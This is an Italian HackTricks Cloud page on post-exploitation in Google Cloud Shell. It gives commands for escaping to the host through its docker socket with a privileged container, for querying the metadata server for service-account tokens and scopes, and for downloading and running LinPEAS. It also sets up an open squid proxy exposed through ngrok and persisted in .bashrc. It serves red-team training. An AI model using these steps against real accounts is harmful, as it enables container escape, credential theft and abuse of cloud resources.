GCP - Cloud Shell Post Exploitation
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud Shell
Per ulteriori informazioni su Cloud Shell, controlla:
Container Escape
Nota che il Google Cloud Shell gira all'interno di un container, puoi facilmente uscire nel host facendo:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
Questo non è considerato una vulnerabilità da Google, ma ti offre una visione più ampia di ciò che sta accadendo in quell'ambiente.
Inoltre, nota che dal host puoi trovare un token dell'account di servizio:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
Con i seguenti ambiti:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
Enumerare i metadati con LinPEAS:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
Dopo aver utilizzato https://github.com/carlospolop/bf_my_gcp_permissions con il token del Service Account non è stata scoperta alcuna autorizzazione...
Usalo come Proxy
Se vuoi utilizzare la tua istanza di google cloud shell come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):
sudo apt install -y squid
Crea un file squid.conf con le seguenti impostazioni:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
copia il file squid.conf in /etc/squid
sudo cp squid.conf /etc/squid
Infine, esegui il servizio squid:
sudo service squid start
Usa ngrok per rendere il proxy disponibile dall'esterno:
./ngrok tcp 3128
Dopo aver eseguito il comando, copia l'url tcp://. Se desideri eseguire il proxy da un browser, si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del tuo browser (squid è un server proxy http).
Per un miglior utilizzo all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Controlla quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.